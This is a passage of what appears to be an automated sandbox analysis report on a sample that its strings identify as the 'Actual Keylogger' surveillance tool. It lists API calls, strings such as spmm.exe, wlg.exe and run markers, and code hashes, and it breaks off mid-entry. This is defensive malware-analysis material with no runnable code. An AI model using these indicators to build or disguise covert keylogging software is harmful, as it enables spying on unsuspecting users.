C:\ProgramData, xrefs: 0086765E, 00867673
RUNNING, xrefs: 00867B32
SYSTEM, xrefs: 00867BBE

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000863000.00000040.00000001.01000000.00000014.sdmp, Offset: 00863000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_863000_spkl.jbxd

Similarity

API ID: ExecuteFindFromListPathShellWindow
String ID: Business$ Desktop$ Online$ Trial$.22$@7{$AKMBUS$Actual Keylogger$C:\ProgramData$RUNNING$SPS$SYSTEM$System component$TSystemComponentM$Tfmm$\spmm.exe$\temp\reg\info.uid$app:Run$app:Run:First$basic start$d2|$q842y95uit$spmm.exe$sps.exe$t-|$wlg.exe${78DFD215-B0D1-DA34-FE1A-278DDF34561C}
API String ID: 3610533966-2168388552
Opcode ID: e11afc3a4444000ae4868accce0f2068def0354540f18ba533456dfe47c48f64
Instruction ID: 94ada79b6983850db52b76a130c23aa80cb03ac332c394dfa09cf6b95f2b9070
Opcode Fuzzy Hash: e11afc3a4444000ae4868accce0f2068def0354540f18ba533456dfe47c48f64
Instruction Fuzzy Hash: D1126F30744205ABD710FBA6DD86F6A33A6FB44708F11447AF604AB3D6CA78EC458B99

Function 0040A8FC Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AAE1,?,00000000), ref: 0040A935
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,0040AAE1,?,00000000), ref: 0040A951
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,00000000,?,00000105,00000000,0040AAE1,?,00000000), ref: 0040A97E
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,0040AAE1), ref: 0040A99C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040A9BA
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040A9D8
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales), ref: 0040AA18
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001), ref: 0040AA43
RegQueryValueExW.ADVAPI32(?,0040AB98,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001), ref: 0040AA67
RegQueryValueExW.ADVAPI32(?,0040AB98,00000000,00000000,?,?,?,0040AB98,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 0040AA90
RegCloseKey.ADVAPI32(?,0040AACB,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales), ref: 0040AABE

Strings

Software\Borland\Locales, xrefs: 0040A9B0
Software\CodeGear\Locales, xrefs: 0040A974, 0040A992
Software\Borland\Delphi\Locales, xrefs: 0040A9CE

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: 7686037f220fb291434b12021684ca3a9d7a2f0a43b6e3ea7526b31b9d2f4114
Instruction ID: f6036664f45c3f7286cd2f27c23185f6ba116a880561e7131eb2050cadb9a691
Opcode Fuzzy Hash: 7686037f220fb291434b12021684ca3a9d7a2f0a43b6e3ea7526b31b9d2f4114
Instruction Fuzzy Hash: A0510371B40308BEEB10EAA5CD46FAE77BCEB08704F504477B604F61C1D6B9AA50DB5A

Function 00403190 Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?), ref: 00403226
Sleep.KERNEL32(0000000A,00000000,?), ref: 00403240

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fdb00ec2100902d794fb1cbc3425dcf34a78a7217ddd200d769621c9536ef4d7
Instruction ID: bbdc09685489627ed5b39331dc89ee397961f4a8db56afddfdf96e3286142ac2
Opcode Fuzzy Hash: fdb00ec2100902d794fb1cbc3425dcf34a78a7217ddd200d769621c9536ef4d7
Instruction Fuzzy Hash: BA7105712043508FE711CF298E89B16BFD8AF85315F1482BFE848AB3D6D6B8C945CB59

Function 033F624C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 110
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 033F628F

Strings

KERNEL32.DLL, xrefs: 033F62AB
The ordinal , xrefs: 033F62E8
could not be located in the dynamic link library , xrefs: 033F62FF, 033F6346
The procedure entry point , xrefs: 033F6333
LOADER ERROR, xrefs: 033F6327, 033F636E

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: AddressProc
String ID: could not be located in the dynamic link library $KERNEL32.DLL$LOADER ERROR$The ordinal $The procedure entry point
API String ID: 190572456-2170670254
Opcode ID: 53ad19a6aea56869a3dc8b717bb03155444aa16f96363647bf2ad64ca7a7c070
Instruction ID: 348f5148ae8fafe1b79ce2d607e0c6266984566d7d73dbc6e9f5fd6722d69709
Opcode Fuzzy Hash: 53ad19a6aea56869a3dc8b717bb03155444aa16f96363647bf2ad64ca7a7c070
Instruction Fuzzy Hash: C8311E78A00349AFDB00EF98CCC2DAEB7B9FF48314F508566E910A7615D774AD519F60

Function 0040A5B8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlLeaveCriticalSection.NTDLL(0087FB5C), ref: 0040A5FA
RtlEnterCriticalSection.NTDLL(0087FB5C), ref: 0040A67A
lstrcpynW.KERNEL32(0087FB78,00000000,000000AA,0087FB5C,00000000,00000002,0087FB5C,0087FB5C,00000000,0040A6BD,?,?,00000000,00000000,?,0040AED0), ref: 0040A698
RtlLeaveCriticalSection.NTDLL(0087FB5C), ref: 0040A6A2

Strings

en-GB,en,en-US,, xrefs: 0040A5E6, 0040A693

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enterlstrcpyn
String ID: en-GB,en,en-US,
API String ID: 1122274999-3021119265
Opcode ID: d61ae319eddf6f4b60b69cee88791db6c14e0c5a944f71a2f4ff1963d7f7d212
Instruction ID: 5723f58af9a41ac21a7e675cb0514bd364bd00aae00b971453d55b0790f8d9a3
Opcode Fuzzy Hash: d61ae319eddf6f4b60b69cee88791db6c14e0c5a944f71a2f4ff1963d7f7d212
Instruction Fuzzy Hash: 4421F2707043006AD611B777CD26A2922A5AB41B08F18483BB280F32D6C9BFCC15822F

Function 00402E0C Relevance: 7.8, APIs: 6, Instructions: 298
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 00402EC3
Sleep.KERNEL32(0000000A,00000000), ref: 00402ED9
Sleep.KERNEL32(00000000), ref: 00402F07
Sleep.KERNEL32(0000000A,00000000), ref: 00402F1D

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 60d3dac85de659a9c7c0bae1bfec1a805d797ea7c6b6b00d4ef26e0dfc08bfec
Instruction ID: dfee491c2d37e5c08d703103af1408169b37cdbe47cbf3463ff51bf6769a6579
Opcode Fuzzy Hash: 60d3dac85de659a9c7c0bae1bfec1a805d797ea7c6b6b00d4ef26e0dfc08bfec
Instruction Fuzzy Hash: 0BC1F2726053618BC725CF2DD988316BBA1BF85311F18827FD449AB3DAC7B8D881CB95

Function 007B16A4 Relevance: 6.1, APIs: 4, Instructions: 111
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(00883E10), ref: 007B1723
RtlLeaveCriticalSection.NTDLL(00883E10), ref: 007B1758
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 007B176A

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveMessageSend
String ID:
API String ID: 417868457-0
Opcode ID: 9c23c4270a22d343c1630606604c065f27a3af641e7f425ae807b8471eca6c14
Instruction ID: 2b5719dc66f3b9fb5d8c81c04123e9fde0138808427e2b248b1d477ac1de0d38
Opcode Fuzzy Hash: 9c23c4270a22d343c1630606604c065f27a3af641e7f425ae807b8471eca6c14
Instruction Fuzzy Hash: 94311570A04344AED721DBBACC52FAEBBE8EB09714F90847AF945E76C1CA7C9904C754

Function 033CAFA4 Relevance: 6.1, APIs: 4, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadLocale.KERNEL32 ref: 033CAFCB
GetSystemMetrics.USER32(0000004A), ref: 033CAFF2
GetSystemMetrics.USER32(0000002A), ref: 033CB001
GetCPInfo.KERNEL32(00000000,?,0000002A,0000004A), ref: 033CB015

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: MetricsSystem$InfoLocaleThread
String ID:
API String ID: 1011932403-0
Opcode ID: 4dfd86190db2fdff5fe3407a606d5f7e1486b924fcd06cb66454501d5e3fabcf
Instruction ID: 09d961907d78171a16fc6bf6bac7820e613d4af7a08632a95b5123b523ef0ab7
Opcode Fuzzy Hash: 4dfd86190db2fdff5fe3407a606d5f7e1486b924fcd06cb66454501d5e3fabcf
Instruction Fuzzy Hash: 1A115B05A697D549C720FBB49C422FAFBD88F12210F0D847CDCE94B682E73ADC059366

Function 033F68C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessAffinityMask.KERNEL32(00000000), ref: 033F693E

Strings

99, xrefs: 033F6924
kernel32.dll, xrefs: 033F6906

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: AffinityMaskProcess
String ID: 99$kernel32.dll
API String ID: 1682748466-4043654467
Opcode ID: a63daf972196f4c16af03916a382b4ca61e0e0464fd61fafc0199e36ff22354a
Instruction ID: 2f68b12b40d5e7204b6ab4561e6a2d5fa0b507bec88d43eef41971c5c7692fc1
Opcode Fuzzy Hash: a63daf972196f4c16af03916a382b4ca61e0e0464fd61fafc0199e36ff22354a
Instruction Fuzzy Hash: DD21A036A107555FCB10EBB88CC264BFBD5AB41270B484B65D574EB2C1EB229D5047A1

Function 00405F57 Relevance: 4.6, APIs: 3, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 0040614A
UnhandledExceptionFilter.KERNEL32(?,?,00000000,00000006), ref: 00406187
RtlUnwind.KERNEL32(?,?,?,00000000,?,?,?,?), ref: 004061B2

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$Unwind
String ID:
API String ID: 1141220122-0
Opcode ID: ab445c5dd401acfce8aa8a9b671399e6bbb764ba110892a62c9722f698784467
Instruction ID: 6bc31f3cf658b8099663ef5b1fe2bf8cdc9c999fafb2e068c4c88ba3489c8b57
Opcode Fuzzy Hash: ab445c5dd401acfce8aa8a9b671399e6bbb764ba110892a62c9722f698784467
Instruction Fuzzy Hash: 45318DB0604300AFE720EB11C884B27B7E9EB84710F16C5AEF5096B2D2C778EC51CA29

Function 0341E001 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00000546,00001000,00000004), ref: 0341E0C4
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 0341E0FB

Strings

D)D, xrefs: 0341E04D

Memory Dump Source

Source File: 00000035.00000002.2961491588.000000000341E000.00000040.00001000.00020000.00000000.sdmp, Offset: 0341E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_341e000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: D)D
API String ID: 2087232378-3173377644
Opcode ID: 854db13412729f298e14d1753145cebe2c235ccb024778db43025da4abc8c313
Instruction ID: e698e2fd229ed3586e554849f7c312fabbabc607e5dbc5716b14ef37faccdf02
Opcode Fuzzy Hash: 854db13412729f298e14d1753145cebe2c235ccb024778db43025da4abc8c313
Instruction Fuzzy Hash: 432108B6640288EFEF51DFA0CD85BDE37A8AB48752F800116BD099F244D6F567448B1E

Function 033C3518 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

Runtime error at 00000000, xrefs: 033C36C2, 033C36E8

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID:
String ID: Runtime error at 00000000
API String ID: 0-1393363852
Opcode ID: c21ef24dc5f44dee82d1af7b4cf0776cc86a7ce639a73a385a0ca1a926cb75c1
Instruction ID: 1c8d93fbf2f0045a014788f95a9cfa8071f3748387c8a44806917fd1d0282bdd
Opcode Fuzzy Hash: c21ef24dc5f44dee82d1af7b4cf0776cc86a7ce639a73a385a0ca1a926cb75c1
Instruction Fuzzy Hash: 0641ADB8A203809FDB65EF24CAC4756BBE4AB49328F19C0ADE4055F286D77CCC84CB55

Function 033C1FD8 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(03408430), ref: 033C201B

Part of subcall function 033C1904: LocalAlloc.KERNEL32(00000000,00000FF8,03408430,03408430,00000000,033C19BA), ref: 033C1957
Part of subcall function 033C1904: RtlLeaveCriticalSection.NTDLL(03408430), ref: 033C19B4

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: CriticalSection$AllocEnterLeaveLocal
String ID:
API String ID: 716609888-0
Opcode ID: 13b867a150d56ef8a4dc827f4c0aca0cdff0688cf7116abf7510ee996e6eb4e4
Instruction ID: 7654bb01b722d897e3fc73444089ba96eec9e18cbf1167fa4a516de32e8e22ce
Opcode Fuzzy Hash: 13b867a150d56ef8a4dc827f4c0aca0cdff0688cf7116abf7510ee996e6eb4e4
Instruction Fuzzy Hash: 3441A1B6B24785DFDB14EF68DAC021AB7E5FB48218B1986BEC405DB346E7349C45CB00

Function 033C1904 Relevance: 3.0, APIs: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000FF8,03408430,03408430,00000000,033C19BA), ref: 033C1957
RtlLeaveCriticalSection.NTDLL(03408430), ref: 033C19B4

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: AllocCriticalLeaveLocalSection
String ID:
API String ID: 1361736381-0
Opcode ID: c9e15e1e0bc5a07aaba84dfe484d4ba0ed8728df985930ee6a129c44e3300cbb
Instruction ID: 2c660779fc7b43ce08061865523c299204e19c425ca3580b69981736f7bbf00e
Opcode Fuzzy Hash: c9e15e1e0bc5a07aaba84dfe484d4ba0ed8728df985930ee6a129c44e3300cbb
Instruction Fuzzy Hash: 0001EDB8F683849EE311FB689790719BAC4D305708F89813EE041EE2C3EA744880A765

Function 0341E10F Relevance: 3.0, APIs: 2, Instructions: 503memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0341E343
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 0341E3DF

Memory Dump Source

Source File: 00000035.00000002.2961491588.000000000341E000.00000040.00001000.00020000.00000000.sdmp, Offset: 0341E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_341e000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0ef20ef31486968fd6e1db149edee5e259f642605a3ca6a776f865cc95688f01
Instruction ID: a3a9bf6d4e5ce91ee5d570f255e12225f96d22c3b6bc73b64964d83d86b4891f
Opcode Fuzzy Hash: 0ef20ef31486968fd6e1db149edee5e259f642605a3ca6a776f865cc95688f01
Instruction Fuzzy Hash: 78B1D276204A89DFDB21CFA4CC84AAA77E4EF45711F48012AED498F341D370AB91CB5E

Function 033C141C Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000001,?,?,?,033C1725), ref: 033C144B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,033C1725), ref: 033C1472

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 16d3a97b4d193e14a787ae3fdff5fad3da9872649fcacd8a41334d8d8c7f6fe3
Instruction ID: bac3397404c23ebf3be39b4274e90e99998422b3fe63e9cf9b318e6f0091d8a3
Opcode Fuzzy Hash: 16d3a97b4d193e14a787ae3fdff5fad3da9872649fcacd8a41334d8d8c7f6fe3
Instruction Fuzzy Hash: 0BF0277BF2072017DB20EA694CC0F92A5A89F85790F490079FA4CEF3CAD2618C41A3A0

Function 0040ADAC Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,0040AF4B,?,?,?,00000000), ref: 0040AEEC

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: DefaultLanguageSystem
String ID:
API String ID: 4166810957-0
Opcode ID: 66a4d2a00d45827909e64d4115acc47836f2faef788d0f19d7f6b1eb0cd9adfa
Instruction ID: d8529c3a86b5486bf577bb49881e36b276531488797953cddac343c358fd6839
Opcode Fuzzy Hash: 66a4d2a00d45827909e64d4115acc47836f2faef788d0f19d7f6b1eb0cd9adfa
Instruction Fuzzy Hash: 62417471A443199BD720EB65DC8978AB3F5AF58304F5005F6E008B32D2DB78AE948E5A

Function 0040AB9C Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AC56,?,04590FE0,00869044,?,00409D6C,04590FE0,?,0000020A,04590FE0,00869044,00409DAD), ref: 0040ABD8

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 6dfcb00e295d27a0b4735b36a0dbacd346025578fc11e0d51805ccceb5b76337
Instruction ID: 771ce1d65e53cd220824622077c18220499e43e131d77fe26079b548053c9918
Opcode Fuzzy Hash: 6dfcb00e295d27a0b4735b36a0dbacd346025578fc11e0d51805ccceb5b76337
Instruction Fuzzy Hash: 7611987194821C9BDB24EB60CD86BDE73B9DB14304F5144BAB508B32D1DA785F848A9A

Function 033C5E98 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(034084D4,?,00000105), ref: 033C5EAF

Part of subcall function 033C4CB8: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 033C4CD4
Part of subcall function 033C4CB8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 033C4CF2
Part of subcall function 033C4CB8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 033C4D10
Part of subcall function 033C4CB8: RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,033C4D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 033C4D4A
Part of subcall function 033C4CB8: RegQueryValueExA.ADVAPI32(?,033C4EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,033C4D84,?,80000001), ref: 033C4D68
Part of subcall function 033C4CB8: RegCloseKey.ADVAPI32(?,033C4D8B,00000000,00000000,00000005,00000000,033C4D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 033C4D7E

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: FileModuleNameOpenQueryValue$Close
String ID:
API String ID: 1918644479-0
Opcode ID: a36224f38931d2672c5c33ebbf14fd35d1f38d02200bc4bb527ba4895a58bdb0
Instruction ID: 86367aafeb9a385a1fa83eb409fcce81e9f25cf043bd54e6f7b915d316100fba
Opcode Fuzzy Hash: a36224f38931d2672c5c33ebbf14fd35d1f38d02200bc4bb527ba4895a58bdb0
Instruction Fuzzy Hash: C0E07DB4F803045FD340FFA8ABC050632DCCB04314B810029A608DF349EB7CAD104712

Function 033E2628 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(03407384,?,00000400), ref: 033E2641

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: ae26712b2cec149341c246ea82a16500c6f36e4b4c5aeba63acbb73bba6498b9
Instruction ID: d8b6b5b814851c1f3713814725f4dfe4b3c643dba522dc04021f9820a60def89
Opcode Fuzzy Hash: ae26712b2cec149341c246ea82a16500c6f36e4b4c5aeba63acbb73bba6498b9
Instruction Fuzzy Hash: 6FD012E6F503405BE640E6A89DC2B56728C5788224F5840687F18EF384DB3EDD1657A6

Function 033F3980 Relevance: 1.5, APIs: 1, Instructions: 8networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101), ref: 033F398C

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33e0000_spkl.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 01373c1041ab96a0731c7f1a392daf7b6fa36ac3014c96650266fff0e7898379
Instruction ID: 61bc240bd06f184d7b508f566f3787cad883cb2c35b296f625fffc66db4eb013
Opcode Fuzzy Hash: 01373c1041ab96a0731c7f1a392daf7b6fa36ac3014c96650266fff0e7898379
Instruction Fuzzy Hash: 01B0922AA0264026E60223759E0279238889B81330F8801A06EA8982DBEA9B9168009B

Function 033C14F8 Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 033C155C

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f29ae874891995cc7171f08386393061f3ccf289c6a6bfba170494c320366b26
Instruction ID: 131cd7ab0ea64f26018b276298b027496600293a480edb45fc570cb96cffcae7
Opcode Fuzzy Hash: f29ae874891995cc7171f08386393061f3ccf289c6a6bfba170494c320366b26
Instruction Fuzzy Hash: 6D21E371A28740AFD700DF19C9C0A1EBBE5AB84764F18C96DE4998B356E330EC41DB96

Function 0040ACA0 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,0040AD3D,?,?,?,00000000), ref: 0040AD0A

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: 62f58fe671fac46956649dfa42b4a06e9d9c51d22aeb2ca6305eae8df1c9bc3b
Instruction ID: 952477280eb2d073172a3deebbbadb697fdb28e29115ede6f0f0dc9af39f96bd
Opcode Fuzzy Hash: 62f58fe671fac46956649dfa42b4a06e9d9c51d22aeb2ca6305eae8df1c9bc3b
Instruction Fuzzy Hash: B211E371908308AFEB20DB68C886AAA77E8EF15314F5104B6F844A72C0D7B85D50972B

Function 033C1644 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,034A9DB8,034ADDBB,033C18AB), ref: 033C169E

Memory Dump Source

Source File: 00000035.00000002.2961491588.00000000033C1000.00000040.00001000.00020000.00000000.sdmp, Offset: 033C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_33c1000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: bbfee28679f56370a4f7a196cce571619672eb214d6b890f5ca09b9644f06a8a
Instruction ID: 8b7b6f72dde895bb6165acefd48fc135cdf32d1f7bdd36340e78e27f196d2184
Opcode Fuzzy Hash: bbfee28679f56370a4f7a196cce571619672eb214d6b890f5ca09b9644f06a8a
Instruction Fuzzy Hash: 2B01F776E146445FC310EE28DDC0A2A77E8DB84324F1D057CDE849B342D2326C1197E4

Function 00402AF8 Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00403107), ref: 00402B0E

Memory Dump Source

Source File: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7086043f854aeabdd748604502d9e9e754581baddf49906d5f90c171e79ab4a0
Instruction ID: 7676bbfaa4a99f35c6751e8613a9746da9d777a8880297b7060b3b7c351f590d
Opcode Fuzzy Hash: 7086043f854aeabdd748604502d9e9e754581baddf49906d5f90c171e79ab4a0
